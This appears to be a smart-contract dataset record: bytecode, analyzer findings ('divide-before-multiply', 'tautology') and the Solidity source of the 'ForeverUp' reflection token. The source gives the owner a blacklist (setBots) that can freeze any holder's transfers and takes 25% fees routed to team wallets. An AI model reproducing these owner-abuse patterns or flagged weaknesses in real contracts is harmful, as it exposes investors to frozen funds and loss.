4a510008261143c90919063ffffffff16565b9050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610783573d6000803e3d6000fd5b506107b1601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16848361147d565b50505050565b6040805190810160405280600c81526020017f416d70657265582042616e6b000000000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a26001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff161415801561094a575060008473ffffffffffffffffffffffffffffffffffffffff1614155b80156109565750600083115b151561096157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610a21576109bf6115aa565b905082610a13826000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b10151515610a2057600080fd5b5b610a2c85858561165a565b9150509392505050565b600681565b60155481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ad957600080fd5b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610b2757600080fd5b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f5e40a439a19faa971f5d14cf300dcd7ee0d236808b9a988c9b4ca89cb833e96160405160405180910390a250565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f415042000000000000000000000000000000000000000000000000000000000081525081565b6000610c4033848461147d565b905092915050565b600080600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ce957506000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515610cf457600080fd5b60008610158015610d055750600886105b8015610d115750600085115b1515610d1c57600080fd5b6000861115610d5557600460018703600881101515610d3757fe5b015492506000831480610d4957508483105b1515610d5457600080fd5b5b6001600803861015610d9157600460018701600881101515610d7357fe5b015491506000821480610d8557508185105b1515610d9057600080fd5b5b600486600881101515610da057fe5b0154905084600487600881101515610db457fe5b01819055507f64848c65ffb9a9e4ef4aec8bcc21d1047934e7af916b2cbc867f6a7fae0f346186828760405180848152602001838152602001828152602001935050505060405180910390a16001935050505092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ea557600080fd5b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151515610ef457600080fd5b6001601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f6e5eedde7d0d690d55dea362660be04ef1eb36252e48817545afb1ae6b245a4060405160405180910390a250565b600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061101d57506000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561102857600080fd5b60008311151561103757600080fd5b6015549050826015819055507fb01b0304cdcaffa13e4b57ecbe280da183afb719becd1d56e9211cc3781ea42181601554604051808381526020018281526020019250505060405180910390a16001915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111ad57600080fd5b80601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061130b57506000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561131657600080fd5b600083101580156113275750600883105b80156113335750600883105b151561133e57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f280ff1c31d08649729d9b5d2935b6285be80fe36921694c515dd7ae310b14c12846004866008811015156113a857fe5b0154600c876008811015156113b957fe5b015460405180848152602001838152602001828152602001935050505060405180910390a26004836008811015156113ed57fe5b0154600c846008811015156113fe57fe5b015491509150915091565b6000808284029050600084148061142a575082848281151561142757fe5b04145b151561143257fe5b8091505092915050565b60008060008311151561144b57fe5b828481151561145657fe5b049050828481151561146457fe5b06818402018414151561147357fe5b8091505092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff16141580156114be575060008473ffffffffffffffffffffffffffffffffffffffff1614155b80156114ca5750600083115b15156114d557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611595576115336115aa565b905082611587826000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b1015151561159457600080fd5b5b6115a08585856119e1565b9150509392505050565b6000806000429150600090505b60088110156116375760006004826008811015156115d157fe5b015414156115de5761162a565b6004816008811015156115ed57fe5b015482111561161157600060048260088110151561160757fe5b0181905550611629565b600c8160088110151561162057fe5b0154925061163c565b5b80806001019150506115b7565b600092505b505090565b600082821115151561164f57fe5b818303905092915050565b600080821180156116e7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156117315750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561173c57600080fd5b61178d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611820826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118f182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082118015611a305750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515611a3b57600080fd5b611a8c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611be557fe5b8091505092915050565b6000611c018484846000806000611c0a565b90509392505050565b600080611c15611f32565b6107b291505b8861ffff168261ffff161015611c5e57611c3482611eb1565b15611c47576301e2850083019250611c51565b6301e13380830192505b8180600101925050611c1b565b601f816000600c81101515611c6f57fe5b602002019060ff16908160ff1681525050611c8989611eb1565b15611cb557601d816001600c81101515611c9f57fe5b602002019060ff16908160ff1681525050611cd8565b601c816001600c81101515611cc657fe5b602002019060ff16908160ff16815250505b601f816002600c81101515611ce957fe5b602002019060ff16908160ff1681525050601e816003600c81101515611d0b57fe5b602002019060ff16908160ff1681525050601f816004600c81101515611d2d57fe5b602002019060ff16908160ff1681525050601e816005600c81101515611d4f57fe5b602002019060ff16908160ff1681525050601f816006600c81101515611d7157fe5b602002019060ff16908160ff1681525050601f816007600c81101515611d9357fe5b602002019060ff16908160ff1681525050601e816008600c81101515611db557fe5b602002019060ff16908160ff1681525050601f816009600c81101515611dd757fe5b602002019060ff16908160ff1681525050601e81600a600c81101515611df957fe5b602002019060ff16908160ff1681525050601f81600b600c81101515611e1b57fe5b602002019060ff16908160ff1681525050600191505b8760ff168261ffff161015611e7357806001830361ffff16600c81101515611e5557fe5b602002015160ff166201518002830192508180600101925050611e31565b6001870360ff166201518002830192508560ff16610e1002830192508460ff16603c02830192508360ff168301925082925050509695505050505050565b60008060048361ffff16811515611ec457fe5b0661ffff16141515611ed95760009050611f2d565b600060648361ffff16811515611eeb57fe5b0661ffff16141515611f005760019050611f2d565b60006101908361ffff16811515611f1357fe5b0661ffff16141515611f285760009050611f2d565b600190505b919050565b61018060405190810160405280600c906020820280388339808201915050905050905600a165627a7a72305820ca7e1dac26a97808253608a64a889162f19f669ec01f561c00cd777dc5152b570029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 1,640 |
0x81afa8aca19d5693883b0b1e10ae1ccaf2f42781
|
/*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ForeverUp is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ForeverUp";
string private constant _symbol = "ForeverUp";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600981526020017f466f726576657255700000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f466f726576657255700000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663